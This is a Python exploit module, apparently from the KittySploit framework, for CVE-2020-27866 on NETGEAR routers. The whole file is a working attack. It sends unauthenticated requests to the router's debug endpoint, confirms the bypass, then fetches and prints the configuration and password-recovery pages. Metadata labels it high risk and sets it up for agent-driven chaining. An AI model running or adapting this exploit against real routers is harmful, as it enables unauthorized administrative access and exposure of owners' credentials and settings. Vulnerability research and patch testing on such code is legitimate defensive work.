NETGEAR Debug Auth Bypass (CVE-2020-27866)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR password recovery auth bypass (CVE-2020-27866)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'NETGEAR Debug Auth Bypass (CVE-2020-27866)',
        'description': (
            'Exploits CVE-2020-27866 on multiple NETGEAR routers: unauthenticated access to '
            '/setup.cgi?todo=debug exposes debug mode and configuration pages.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-27866'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-27866'],
        'tags': ['netgear', 'router', 'auth-bypass', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2020_27866_detect']},
        },
    }

    def check(self):
        r = self.http_request(
            method='GET',
            path='/setup.cgi?todo=debug&x=currentsetting.htm',
            allow_redirects=False,
        )
        if r and r.status_code == 200 and 'Debug Enable!' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'NETGEAR debug bypass confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Debug endpoint not exposed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('NETGEAR bypass failed')
            return False
        for path in (
            '/setup.cgi?todo=debug&x=currentsetting.htm',
            '/setup.cgi?todo=debug&x=passwd_recovery.htm',
        ):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:1500])
        return True